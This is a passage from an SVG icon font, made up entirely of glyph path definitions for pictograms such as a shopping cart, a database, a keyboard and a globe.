		l 31.36,31.674C 322.291,369.821, 125.709,369.821, 4.48,247.338z"  />
<glyph unicode="&#xe3bb;" d="M 44.845,321.302l0-53.043 c 158.726,0, 287.392-128.688, 287.392-287.414l 53.066,0 C 385.302,168.87, 232.87,321.302, 44.845,321.302z M 44.845,215.194l0-53.066 
		c 100.128,0, 181.306-81.155, 181.306-181.283l 53.021,0 C 279.171,110.25, 174.272,215.194, 44.845,215.194z M 95.693,82.541c-28.067,0-50.848-22.781-50.848-50.87
		s 22.781-50.848, 50.848-50.848c 28.090,0, 50.87,22.758, 50.87,50.848S 123.782,82.541, 95.693,82.541z"  />
<glyph unicode="&#xe3bc;" d="M 109.894,125.459l 79.565-79.565l 145.981,145.981l-79.587,79.565L 109.894,125.459z M 427.952,234.726l-33.869,33.846
	c-6.474-3.494-13.821-5.51-21.706-5.51c-25.021,0-45.315,20.294-45.315,45.338c0,7.862, 1.971,15.254, 5.51,21.706l-33.869,33.846
	c-8.848,8.826-23.229,8.826-32.077,0L 20.048,117.35c-8.826-8.826-8.826-23.251,0-32.077l 33.869-33.869c 6.451,3.517, 13.843,5.51, 21.683,5.51
	c 25.043,0, 45.338-20.272, 45.338-45.315c0-7.862-1.994-15.254-5.533-21.706l 33.846-33.869c 8.826-8.826, 23.251-8.826, 32.077,0l 246.624,246.624
	C 436.755,211.475, 436.755,225.901, 427.952,234.726z M 189.459,9.494l-115.942,115.965l 182.381,182.358L 371.84,191.875L 189.459,9.494z"  />
<glyph unicode="&#xe3bd;" d="M 412.16,339.2L 35.84,339.2 C 28.426,339.2, 22.4,333.174, 22.4,325.76L 22.4,272 l 403.2,0 L 425.6,325.76 C 425.6,333.174, 419.574,339.2, 412.16,339.2z M 44.8,12.16C 44.8-5.088, 58.912-19.2, 76.16-19.2l 295.68,0 
	c 17.27,0, 31.36,14.112, 31.36,31.36L 403.2,249.6 L 44.8,249.6 L 44.8,12.16 z M 156.8,204.8l 134.4,0 l0-44.8 L 156.8,160 L 156.8,204.8 z"  />
<glyph unicode="&#xe3be;" d="M 89.6,3.2c0-24.73, 20.070-44.8, 44.8-44.8c 24.752,0, 44.8,20.070, 44.8,44.8s-20.048,44.8-44.8,44.8C 109.67,48, 89.6,27.93, 89.6,3.2z M 313.6,3.2c0-24.73, 20.070-44.8, 44.8-44.8
	c 24.752,0, 44.8,20.070, 44.8,44.8s-20.048,44.8-44.8,44.8C 333.67,48, 313.6,27.93, 313.6,3.2z M 169.053,109.107L 416.998,179.936C 421.725,181.302, 425.6,186.432, 425.6,191.36L 425.6,314.56 L 109.76,314.56 L 109.76,352.64 
	C 109.76,357.568, 105.75,361.6, 100.8,361.6L 31.36,361.6 C 26.432,361.6, 22.4,357.568, 22.4,352.64L 22.4,316.8 l 43.523,0 l 44.083-202.877L 114.262,92.8l0-33.6 c0-4.928, 4.032-8.96, 8.938-8.96L 134.4,50.24 l 224,0 l 58.262,0 
	C 421.568,50.24, 425.6,54.272, 425.6,59.2L 425.6,92.8 L 173.645,92.8 C 147.907,92.8, 147.37,102.88, 169.053,109.107z"  />
<glyph unicode="&#xe3bf;" d="M 349.44,339.2L 322.56,272L 125.44,272 L 98.56,339.2C 81.312,339.2, 67.2,325.088, 67.2,307.84l0-340.48 C 67.2-49.888, 81.312-64, 98.56-64l 250.88,0 c 17.27,0, 31.36,14.112, 31.36,31.36L 380.8,307.84 
	C 380.8,325.088, 366.688,339.2, 349.44,339.2z M 304.64,294.4l 20.16,44.8l-48.832,0 L 259.84,384L 188.16,384 L 172.032,339.2L 123.2,339.2 l 20.16-44.8L 304.64,294.4 z"  />
<glyph unicode="&#xe3c0;" d="M 344.96,254.058c-56.918,0-103.062-46.144-103.062-103.040c0-21.616, 6.675-41.664, 18.054-58.24L 188.048,92.778 C 199.405,109.354, 206.080,129.424, 206.080,151.040
	c0,56.896-46.144,103.040-103.040,103.040S0,207.936,0,151.040S 46.144,48, 103.040,48l 241.92,0 c 56.896,0, 103.040,46.144, 103.040,103.040S 401.856,254.058, 344.96,254.058z M 44.8,151.040
	c0,32.166, 26.074,58.24, 58.24,58.24s 58.24-26.074, 58.24-58.24c0-32.189-26.074-58.24-58.24-58.24S 44.8,118.851, 44.8,151.040z M 344.96,92.8c-32.189,0-58.262,26.051-58.262,58.24
	c0,32.166, 26.074,58.24, 58.262,58.24c 32.166,0, 58.24-26.074, 58.24-58.24C 403.2,118.851, 377.126,92.8, 344.96,92.8z"  />
<glyph unicode="&#xe3c1;" d="M 374.685,96.384c-18.906-30.554-79.184-52.886-150.685-52.886c-71.456,0-131.779,22.333-150.662,52.886C 69.328,102.858, 67.2,99.386, 67.2,96.182
	c0-3.226,0-44.845,0-44.845C 67.2,7.904, 137.402-37.12, 224-37.12s 156.8,45.024, 156.8,88.458c0,0,0,41.619,0,44.845C 380.8,99.386, 378.65,102.858, 374.685,96.384z
	 M 374.909,210.96c-18.57-27.014-79.117-46.816-150.909-46.816s-132.339,19.802-150.909,46.816C 69.238,216.538, 67.2,213.514, 67.2,210.982c0-2.531,0-52.774,0-52.774
	c0-39.491, 70.202-71.478, 156.8-71.478s 156.8,31.987, 156.8,71.478c0,0,0,50.243,0,52.774C 380.8,213.514, 378.739,216.538, 374.909,210.96z M 224,357.12
	c-86.598,0-156.8-26.387-156.8-58.957l0-28.202 c0-34.541, 70.202-62.541, 156.8-62.541s 156.8,28, 156.8,62.541L 380.8,298.141 C 380.8,330.733, 310.598,357.12, 224,357.12z"  />
<glyph unicode="&#xe3c2;" d="M 403.2,316.8L 44.8,316.8 C 20.16,316.8,0,296.64,0,272l0-224 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,272 C 448,296.64, 427.84,316.8, 403.2,316.8z M 403.2,48L 44.8,48 L 44.8,182.4 l 358.4,0 L 403.2,48 z M 403.2,249.6L 44.8,249.6 L 44.8,272 l 358.4,0 L 403.2,249.6 z
	 M 89.6,135.36L 89.6,121.92 l 13.44,0 L 103.040,135.36 L 89.6,135.36 z M 170.24,108.48L 170.24,95.040 l 26.88,0 L 197.12,108.48 L 210.56,108.48 l0,13.44 L 224,121.92 L 224,135.36 L 197.12,135.36 L 197.12,121.92 L 183.68,121.92 l0-13.44 L 170.24,108.48 z M 224,95.040L 224,108.48 L 210.56,108.48 L 210.56,95.040 L 224,95.040 z M 156.8,95.040
	L 156.8,108.48 L 129.92,108.48 L 129.92,95.040 L 156.8,95.040 z M 170.24,121.92l 13.44,0 L 183.68,135.36 L 156.8,135.36 l0-26.88 l 13.44,0 L 170.24,121.92 z M 116.48,108.48l 13.44,0 l0,13.44 l 13.44,0 L 143.36,135.36 L 116.48,135.36 L 116.48,121.92 L 103.040,121.92 l0-13.44 L 89.6,108.48 L 89.6,95.040 l 26.88,0 L 116.48,108.48 z"  />
<glyph unicode="&#xe3c3;" d="M 160.944-45.408c 17.674-11.424, 38.147-19.152, 63.056-18.547
	c 24.909-0.605, 45.36,7.123, 63.034,18.547L 287.034,0.96 L 160.944,0.96 L 160.944-45.408 z M 284.39,27.862c0,97.574, 103.734,128.8, 95.962,225.994
	C 375.469,315.187, 333.917,384, 224,384S 72.531,315.187, 67.648,253.856c-7.773-97.216, 95.939-128.419, 95.939-225.994L 284.39,27.862 z M 115.091,250.317
	C 119.75,308.534, 159.354,338.058, 224,338.058c 64.646,0, 104.25-29.523, 108.886-87.741c 2.531-31.875-15.792-53.133-40.544-87.942
	c-18.211-25.67-39.76-55.978-49.84-95.446L 205.475,66.928 c-10.080,39.469-31.606,69.754-49.862,95.446C 130.883,197.206, 112.56,218.442, 115.091,250.317z"  />
<glyph unicode="&#xe3c4;" d="M 356.205,258.56c-46.57,0-97.597-25.939-132.205-65.296C 189.392,232.621, 138.342,258.56, 91.773,258.56C 47.398,258.56,0,232.666,0,160
	s 47.398-98.538, 91.773-98.56l0,0c 46.592,0, 97.619,25.939, 132.227,65.296c 34.608-39.357, 85.635-65.296, 132.205-65.296C 400.602,61.44, 448,87.334, 448,160
	S 400.602,258.56, 356.205,258.56z M 91.773,100.864c-33.869,0-51.050,19.891-51.050,59.136s 17.181,59.158, 51.050,59.158c 37.453,0, 80.954-24.326, 107.654-59.158
	C 172.726,125.168, 129.248,100.864, 91.773,100.864z M 356.205,100.864c-37.453,0-80.954,24.304-107.654,59.136c 26.678,34.832, 70.202,59.158, 107.654,59.158
	c 33.891,0, 51.050-19.914, 51.050-59.158S 390.096,100.864, 356.205,100.864z"  />
<glyph unicode="&#xe3c5;" d="M 403.2,357.12L 44.8,357.12 c-24.64,0-44.8-20.16-44.8-44.8l0-246.4 c0-24.64, 19.757-48.765, 43.926-53.603l 97.933-19.578c0,0-84.291-29.859-29.859-29.859l 224,0 
	c 54.432,0-29.859,29.859-29.859,29.859l 97.933,19.578C 428.221,17.155, 448,41.28, 448,65.92l0,246.4 C 448,336.96, 427.84,357.12, 403.2,357.12z M 403.2,68.16L 44.8,68.16 L 44.8,316.8 l 358.4,0 L 403.2,68.16 z"  />
<glyph unicode="&#xe3c6;" d="M 170.509,288.621c-8.221,7.728-19.331,7.728-27.574,0L0,160l 142.934-128.598c 8.243-7.75, 19.354-7.75, 27.574,0s 8.221,20.294,0,28.045
	L 59.539,160l 110.992,100.531C 178.73,268.282, 178.73,280.848, 170.509,288.621z M 305.066,288.621c-8.243,7.728-19.331,7.728-27.574,0
	c-8.221-7.773-7.795-20.317, 0.47-28.067L 388.461,160l-110.522-100.554c-8.243-7.75-8.691-20.294-0.47-28.045
	c 8.243-7.75, 19.331-7.75, 27.574,0L 448,160L 305.066,288.621z"  />
<glyph unicode="&#xe3c7;" d="M 425.6,177.92c-4.077,0-17.898,0-21.952,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.077,0, 17.898,0, 21.952,0c 12.387,0, 22.4,8.019, 22.4,17.92
	S 437.987,177.92, 425.6,177.92z M 224,283.2C 155.68,283.2, 100.8,228.32, 100.8,160c0-68.342, 54.88-123.2, 123.2-123.2c 68.32,0, 123.2,54.858, 123.2,123.2
	C 347.2,228.32, 292.32,283.2, 224,283.2z M 226.24,70.4C 174.496,70.4, 134.4,110.496, 134.4,160c0,49.482, 40.096,89.6, 91.84,89.6L 226.24,70.4 z M 66.73,160c0,9.901-9.565,17.92-21.93,17.92
	c-4.144,0-18.278,0-22.4,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.122,0, 18.256,0, 22.4,0C 57.165,142.080, 66.73,150.099, 66.73,160z M 224,316.8
	c 9.878,0, 17.92,10.035, 17.92,22.4c0,4.099,0,18.301,0,22.4c0,12.365-8.019,22.4-17.92,22.4S 206.080,373.965, 206.080,361.6c0-4.099,0-18.301,0-22.4C 206.080,326.835, 214.122,316.8, 224,316.8z
	 M 224,3.2c-9.878,0-17.92-10.035-17.92-22.4c0-4.099,0-18.301,0-22.4c0-12.387, 8.019-22.4, 17.92-22.4s 17.92,10.013, 17.92,22.4c0,4.099,0,18.301,0,22.4
	C 241.92-6.835, 233.878,3.2, 224,3.2z M 388.976,299.642c 8.758,8.758, 10.17,21.526, 3.181,28.515s-19.757,5.578-28.493-3.181
	c-2.397-2.419-13.261-13.261-15.68-15.68c-8.758-8.758-10.17-21.504-3.181-28.493s 19.779-5.6, 28.515,3.158
	C 375.715,286.381, 386.579,297.222, 388.976,299.642z M 74.682,36.038c-2.419-2.419-13.261-13.283-15.68-15.68c-8.736-8.758-10.147-21.504-3.158-28.493
	c 6.989-6.989, 19.757-5.578, 28.493,3.158c 2.419,2.397, 13.283,13.261, 15.68,15.68c 8.758,8.758, 10.17,21.504, 3.158,28.493
	S 83.418,44.752, 74.682,36.038z M 84.358,324.998C 75.6,333.734, 62.854,335.168, 55.843,328.157S 50.266,308.4, 59.002,299.642
	c 2.419-2.419, 13.261-13.261, 15.68-15.68c 8.758-8.736, 21.504-10.17, 28.493-3.158s 5.6,19.757-3.158,28.493C 97.619,311.715, 86.778,322.579, 84.358,324.998z
	 M 347.962,10.682c 2.419-2.419, 13.283-13.283, 15.68-15.68c 8.758-8.736, 21.526-10.147, 28.493-3.158c 6.989,6.989, 5.578,19.757-3.158,28.493
	c-2.419,2.397-13.283,13.261-15.68,15.68c-8.758,8.736-21.526,10.147-28.515,3.158S 339.248,19.44, 347.962,10.682z"  />
<glyph unicode="&#xe3c8;" d="M 425.6,177.92c-4.077,0-17.898,0-21.952,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.077,0, 17.898,0, 21.952,0c 12.387,0, 22.4,8.019, 22.4,17.92
	S 437.987,177.92, 425.6,177.92z M 224,283.2C 155.68,283.2, 100.8,228.32, 100.8,160c0-68.342, 54.88-123.2, 123.2-123.2c 68.342,0, 123.2,54.858, 123.2,123.2
	C 347.2,228.32, 292.342,283.2, 224,283.2z M 224,70.4c-49.504,0-89.6,40.096-89.6,89.6c0,49.482, 40.096,89.6, 89.6,89.6s 89.6-40.118, 89.6-89.6C 313.6,110.496, 273.504,70.4, 224,70.4z M 66.73,160
	c0,9.901-9.565,17.92-21.93,17.92c-4.144,0-18.278,0-22.4,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.122,0, 18.256,0, 22.4,0
	C 57.165,142.080, 66.73,150.099, 66.73,160z M 224,316.8c 9.878,0, 17.92,10.035, 17.92,22.4c0,4.099,0,18.301,0,22.4c0,12.365-8.019,22.4-17.92,22.4S 206.080,373.965, 206.080,361.6
	c0-4.099,0-18.301,0-22.4C 206.080,326.835, 214.122,316.8, 224,316.8z M 224,3.2c-9.878,0-17.92-10.035-17.92-22.4c0-4.099,0-18.301,0-22.4c0-12.387, 8.019-22.4, 17.92-22.4
	s 17.92,10.013, 17.92,22.4c0,4.099,0,18.301,0,22.4C 241.92-6.835, 233.878,3.2, 224,3.2z M 388.976,299.642c 8.758,8.758, 10.17,21.526, 3.181,28.515
	s-19.757,5.578-28.493-3.181c-2.397-2.419-13.261-13.261-15.68-15.68c-8.758-8.758-10.17-21.504-3.181-28.493s 19.779-5.6, 28.515,3.158
	C 375.715,286.381, 386.579,297.222, 388.976,299.642z M 74.682,36.038c-2.419-2.419-13.261-13.283-15.68-15.68c-8.736-8.758-10.147-21.504-3.158-28.493
	c 6.989-6.989, 19.757-5.578, 28.493,3.158c 2.419,2.397, 13.283,13.261, 15.68,15.68c 8.758,8.758, 10.17,21.504, 3.158,28.493
	S 83.418,44.752, 74.682,36.038z M 84.358,324.998C 75.6,333.734, 62.854,335.168, 55.843,328.157S 50.266,308.4, 59.002,299.642
	c 2.419-2.419, 13.261-13.261, 15.68-15.68c 8.758-8.736, 21.504-10.17, 28.493-3.158s 5.6,19.757-3.158,28.493C 97.619,311.715, 86.778,322.579, 84.358,324.998z
	 M 347.962,10.682c 2.419-2.419, 13.283-13.283, 15.68-15.68c 8.758-8.736, 21.526-10.147, 28.515-3.158c 6.989,6.989, 5.555,19.757-3.181,28.493
	c-2.419,2.397-13.283,13.261-15.68,15.68c-8.758,8.736-21.526,10.147-28.515,3.158S 339.248,19.44, 347.962,10.682z"  />
<glyph unicode="&#xe3c9;" d="M 224,231.68c-39.738,0-71.68-31.92-71.68-71.68s 31.92-71.68, 71.68-71.68s 71.68,31.92, 71.68,71.68S 263.738,231.68, 224,231.68z M 224,114.058
	c-25.379,0-45.92,20.563-45.92,45.92c0,25.379, 20.541,45.92, 45.92,45.92s 45.92-20.541, 45.92-45.92C 269.92,134.621, 249.379,114.058, 224,114.058z M 89.6,177.92
	c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92s 21.952,8.019, 21.952,17.92S 101.965,177.92, 89.6,177.92z M 333.917,269.917c-6.989,6.989-19.757,5.578-28.493-3.158
	c-8.758-8.758-10.17-21.504-3.181-28.515s 19.757-5.578, 28.493,3.158C 339.494,250.138, 340.928,262.906, 333.917,269.917z M 358.4,177.92
	c-12.387,0-21.952-8.019-21.952-17.92s 9.587-17.92, 21.952-17.92s 22.4,8.019, 22.4,17.92S 370.787,177.92, 358.4,177.92z M 224,48c-9.878,0-17.92-10.035-17.92-22.4
	c0-12.387, 8.019-22.4, 17.92-22.4s 17.92,10.013, 17.92,22.4C 241.92,37.965, 233.878,48, 224,48z M 117.242,76.358c-8.736-8.758-10.17-21.526-3.181-28.515
	s 19.779-5.555, 28.515,3.181c 8.758,8.758, 10.17,21.526, 3.181,28.515C 138.768,86.506, 126,85.094, 117.242,76.358z M 112.963,268.797
	C 105.952,261.786, 107.386,249.040, 116.144,240.282c 8.758-8.736, 21.504-10.17, 28.515-3.158s 5.578,19.757-3.181,28.493
	C 132.742,274.374, 119.952,275.786, 112.963,268.797z M 306.544,52.122c 8.758-8.736, 21.504-10.147, 28.493-3.158s 5.578,19.757-3.158,28.493
	c-8.758,8.758-21.526,10.17-28.515,3.181S 297.786,60.858, 306.544,52.122z M 224,272c 9.878,0, 17.92,10.035, 17.92,22.4S 233.878,316.8, 224,316.8S 206.080,306.765, 206.080,294.4
	S 214.122,272, 224,272z"  />
<glyph unicode="&#xe3ca;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.84,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z"  />
<glyph unicode="&#xe3cb;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 156.8,204.352L 67.2,204.352 
			l0-88.682 l 89.6,0 L 156.8,204.352 z"  />
<glyph unicode="&#xe3cc;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 268.8,204.352L 179.2,204.352 
			l0-88.682 l 89.6,0 L 268.8,204.352 z M 156.8,204.352L 67.2,204.352 l0-88.682 l 89.6,0 L 156.8,204.352 z"  />
<glyph unicode="&#xe3cd;" d="M 403.2,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 403.2,92.8L 44.8,92.8 L 44.8,227.2 l 358.4,0 L 403.2,92.8 z M 380.8,204.352l-89.6,0 
			l0-88.682 l 89.6,0 L 380.8,204.352 z M 268.8,204.352L 179.2,204.352 l0-88.682 l 89.6,0 L 268.8,204.352 z M 156.8,204.352L 67.2,204.352 l0-88.682 l 89.6,0 L 156.8,204.352 z"  />
<glyph unicode="&#xe3ce;" d="M 403.2,361.6L 44.8,361.6 C 20.16,361.6,0,341.44,0,316.8l0-268.8 c0-24.64, 20.16-44.352, 44.8-44.352l 89.152,0 L 133.952,47.552 l-89.6,0 L 44.352,254.080 l 359.296,0 l0-206.528 l-89.6,0 l0-43.926 L 403.2,3.626 c 24.662,0, 44.8,19.734, 44.8,44.352L 448,316.8 
	C 448,341.44, 427.862,361.6, 403.2,361.6z M 58.262,287.008c-9.296,0-16.8,7.325-16.8,16.352s 7.504,16.352, 16.8,16.352c 9.274,0, 16.8-7.325, 16.8-16.352
	S 67.536,287.008, 58.262,287.008z M 103.062,287.008c-9.296,0-16.8,7.325-16.8,16.352s 7.504,16.352, 16.8,16.352c 9.274,0, 16.8-7.325, 16.8-16.352
	S 112.336,287.008, 103.062,287.008z M 403.67,289.472L 133.952,289.472 L 133.952,317.248 l 269.696,0 L 403.648,289.472 z M 222.835,200.902l-108.685-108.013l 67.2,0 L 181.35-41.6 l 82.97,0 l0,134.49 l 67.2,0 L 222.835,200.902z"  />
<glyph unicode="&#xe3cf;" d="M 403.2,339.2L 44.8,339.2 C 20.16,339.2,0,319.040,0,294.4l0-268.8 c0-24.662, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.138, 44.8,44.8L 448,294.4 C 448,319.040, 427.84,339.2, 403.2,339.2z M 103.040,297.312
	c 9.296,0, 16.8-7.302, 16.8-16.33c0-9.050-7.504-16.352-16.8-16.352S 86.24,271.933, 86.24,280.96C 86.24,290.010, 93.766,297.312, 103.040,297.312z M 41.44,280.96
	c0,9.027, 7.504,16.33, 16.8,16.33S 75.040,290.010, 75.040,280.96c0-9.050-7.504-16.352-16.8-16.352S 41.44,271.933, 41.44,280.96z M 403.648,25.6L 44.352,25.6 L 44.352,231.68 l 359.296,0 
	L 403.648,25.6 z M 403.648,267.52L 134.4,267.52 L 134.4,294.4 l 269.248,0 L 403.648,267.52 z"  />
<glyph unicode="&#xe3d0;" d="M 416.64,294.4L 31.36,294.4 C 14.112,294.4,0,280.288,0,263.040l0-206.102 C0,39.712, 14.112,25.6, 31.36,25.6l 385.28,0 c 17.27,0, 31.36,14.112, 31.36,31.338L 448,263.040 C 448,280.288, 433.888,294.4, 416.64,294.4
	z M 246.4,249.6l 44.8,0 l0-44.8 l-44.8,0 L 246.4,249.6 z M 313.6,182.4l0-44.8 l-44.8,0 L 268.8,182.4 L 313.6,182.4 z M 179.2,249.6l 44.8,0 l0-44.8 L 179.2,204.8 L 179.2,249.6 z M 246.4,182.4l0-44.8 L 201.6,137.6 L 201.6,182.4 L 246.4,182.4 z M 112,249.6l 44.8,0 l0-44.8 L 112,204.8 L 112,249.6 z M 179.2,182.4l0-44.8 L 134.4,137.6 L 134.4,182.4 L 179.2,182.4 z M 44.8,249.6l 44.8,0 l0-44.8 L 44.8,204.8 L 44.8,249.6 z M 112,182.4l0-44.8 L 67.2,137.6 L 67.2,182.4 L 112,182.4 z M 89.6,70.4
	L 44.8,70.4 l0,44.8 l 44.8,0 L 89.6,70.4 z M 336,70.4L 112,70.4 l0,44.8 l 224,0 L 336,70.4 z M 403.2,70.4l-44.8,0 l0,44.8 l 44.8,0 L 403.2,70.4 z M 336,137.6L 336,182.4 l 44.8,0 l0-44.8 L 336,137.6 z M 403.2,204.8l-89.6,0 L 313.6,249.6 l 89.6,0 L 403.2,204.8 z"  />
<glyph unicode="&#xe3d1;" d="M 224,375.062c-118.586,0-215.040-96.499-215.040-215.062c0-118.586, 96.454-215.062, 215.040-215.062s 215.040,96.477, 215.040,215.062
	C 439.040,278.563, 342.586,375.062, 224,375.062z M 407.411,160c0-41.955-14.246-80.662-37.99-111.574c-6.72,5.264-13.843,19.443-7.123,34.138
	c 6.765,14.784, 8.534,49.011, 6.989,62.317c-1.478,13.306-8.4,45.382-27.216,45.696c-18.749,0.291-31.629,6.474-42.784,28.739
	c-23.139,46.301, 43.434,55.216, 20.294,80.864c-6.474,7.19-39.939-29.658-44.845,19.443C 274.4,323.139, 277.76,328.403, 282.24,333.846
	C 354.906,309.43, 407.411,240.752, 407.411,160z M 198.8,341.574C 194.432,333.062, 182.851,329.568, 175.795,323.139C 160.496,309.296, 153.91,311.2, 145.645,297.894
	c-8.288-13.306-35.078-32.458-35.078-42.090c0-9.61, 13.53-20.989, 20.294-18.771c 6.765,2.24, 24.595,2.106, 35.078-1.568
	c 10.506-3.718, 87.696-7.414, 63.078-72.666c-7.795-20.742-41.933-17.248-51.027-51.61c-1.366-5.040-6.070-26.566-6.406-33.6
	c-0.538-10.886, 7.706-51.923-2.8-51.923c-10.55,0-38.909,36.714-38.909,43.366s-7.37,29.994-7.37,49.952s-33.981,19.645-33.981,46.189
	c0,23.968, 18.435,35.885, 14.291,47.331c-4.077,11.424-36.445,11.827-49.93,13.216C 76.451,286.918, 131.936,332.346, 198.8,341.574z M 166.32-14.048
	c 11.021,5.802, 12.141,13.328, 22.131,13.731c 11.424,0.493, 20.72,4.458, 33.578,7.28c 11.446,2.486, 31.875,14.090, 49.907,15.568
	c 15.165,1.254, 45.136-0.784, 53.2-15.434c-29.030-19.264-63.795-30.509-101.136-30.509C 203.84-23.411, 184.464-20.096, 166.32-14.048z"  />
<glyph unicode="&#xe3d2;" d="M 224,113.43c 53.536,0, 98.358,18.189, 101.069,41.955c-7.952,22.333-16.643,46.682-25.178,70.627c-5.914-17.069-38.64-29.12-75.891-29.12
	S 154.045,208.922, 148.086,225.99C 139.552,202.045, 130.906,177.718, 122.931,155.363C 125.642,131.619, 170.442,113.43, 224,113.43z M 224,263.622
	c 25.155,0, 48.541,7.795, 55.395,19.891c-9.43,26.499-17.539,49.213-22.669,63.549C 253.344,356.627, 237.91,361.6, 224,361.6S 194.656,356.627, 191.274,347.085
	c-5.13-14.336-13.216-37.072-22.669-63.549C 175.459,271.418, 198.845,263.622, 224,263.622z M 420.672,91.322l-84.112,33.891l 9.699-27.037
	c-0.493-28.627-56.112-51.475-122.259-51.475s-121.766,22.848-122.237,51.475l 9.677,27.037L 27.328,91.322c-23.587-9.52-24.573-27.104-2.218-39.088
	l 158.189-84.829c 22.378-11.984, 59.002-11.984, 81.379,0l 158.189,84.829C 445.267,64.218, 444.259,81.802, 420.672,91.322z"  />
<glyph unicode="&#xe3d3;" d="M 403.2,294.4l-22.4,0 l0-336 l 22.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,249.6 C 448,274.24, 427.84,294.4, 403.2,294.4z M0,249.6l0-246.4 c0-24.64, 20.16-44.8, 44.8-44.8l 22.4,0 L 67.2,294.4 L 44.8,294.4 C 20.16,294.4,0,274.24,0,249.6z M 300.16,341.283
	C 284.906,348.384, 260.557,361.6, 224,361.6S 163.094,348.384, 147.84,341.283L 147.84,294.4 L 98.56,294.4 l0-336 l 250.88,0 L 349.44,294.4 L 300.16,294.4 L 300.16,341.283 z M 273.28,294.4L 174.72,294.4 L 174.72,324.304 C 186.659,329.456, 203.795,334.72, 224,334.72
	s 37.318-5.242, 49.28-10.394L 273.28,294.4 z"  />
<glyph unicode="&#xe3d4;" d="M 61.891,80.211c-33.914-33.331-5.264-67.558-50.333-118.294c-20.339-22.893, 83.731-15.904, 135.296,34.787
	c 21.862,21.482, 15.702,52.819-7.75,75.891C 115.651,95.645, 83.754,101.693, 61.891,80.211z M 437.718,369.261c-17.405,17.091-210.090-137.312-267.456-193.693
	c-28.47-27.978-37.968-42.986-46.704-54.208c-3.786-4.883, 1.232-6.384, 3.472-7.549c 11.267-5.734, 19.152-11.066, 29.366-21.101
	c 10.214-10.013, 15.658-17.763, 21.482-28.851c 1.165-2.218, 2.71-7.146, 7.661-3.405c 11.424,8.579, 26.678,17.92, 55.126,45.898
	C 298.032,162.733, 455.078,352.147, 437.718,369.261z"  />
<glyph unicode="&#xe3d5;" d="M 274.691,102.477c0,0, 158.122,114.083, 140.582,244.675c-0.403,2.867-1.344,4.749-2.509,6.026c-1.232,1.187-3.069,2.173-5.891,2.576
	C 279.261,373.651, 167.776,211.856, 167.776,211.856C 71.053,223.459, 78.086,204.15, 33.958,98.176c-8.445-20.205, 5.242-27.171, 20.25-21.482
	c 15.008,5.645, 48.138,18.166, 48.138,18.166l 57.994-59.338c0,0-12.23-33.891-17.763-49.235c-5.533-15.389, 1.254-29.389, 21.011-20.765
	C 267.165,10.704, 286.026,3.514, 274.691,102.477z M 297.27,234.995c-13.395,13.709-13.395,35.93,0,49.638c 13.395,13.686, 35.101,13.686, 48.496,0
	c 13.418-13.686, 13.418-35.93,0-49.638C 332.394,221.264, 310.666,221.264, 297.27,234.995z"  />
<glyph unicode="&#xe3d6;" d="M 224,343.68c-95.85,0-155.411-31.584-152.186-57.21l 32.301-265.821C 105.392,10.301, 153.866-23.613, 224-23.68
		c 70.157,0.067, 118.608,34.003, 119.907,44.33l 32.278,265.821C 379.411,312.096, 319.872,343.68, 224,343.68z M 224,247.562C 153.866,247.629, 104.093,272.605, 104.093,281.946
		C 104.070,291.219, 153.866,316.262, 224,316.218c 70.134,0.022, 119.93-24.998, 119.907-34.272C 343.907,272.605, 294.157,247.629, 224,247.562z"  />
<glyph unicode="&#xe3d7;" d="M 418.522,128.685l-70.515,167.821c-5.555,11.2-20.339,20.362-32.861,20.362L 132.877,316.867 c-12.522,0-27.306-9.162-32.883-20.362l-70.493-167.821
		c-5.6-11.2-8.49-30.464-6.429-42.829l 15.232-82.566c 2.061-12.342, 13.955-22.445, 26.454-22.445l 318.528,0 c 12.522,0, 24.416,10.102, 26.477,22.445
		l 15.232,82.566C 426.989,98.198, 424.122,117.485, 418.522,128.685z M 387.968,69.862l-5.779-33.645c-1.747-12.925-13.395-23.498-25.85-23.498L 91.661,12.72 
		c-12.477,0-24.102,10.573-25.85,23.498l-5.802,33.645c-1.725,12.925, 7.056,23.498, 19.555,23.498l 288.87,0 
		C 380.934,93.338, 389.715,82.787, 387.968,69.862z"  />
<glyph unicode="&#xe3d8;" d="M 272.474-16.042c-0.627-6.944, 4.861-13.082, 12.23-13.686l 89.264-7.325c 7.347-0.605, 13.91,4.547, 14.538,11.491l 6.989,73.606
	l-116.054,9.565L 272.474-16.042z M 52.506,48.022l 6.966-73.606c 0.65-6.944, 7.213-12.096, 14.56-11.491l 89.264,7.325
	c 7.347,0.605, 12.858,6.765, 12.208,13.686l-6.989,73.629L 52.506,48.022z M 41.014,169.341l 7.19-75.936l 116.054,9.542L 157.046,178.816
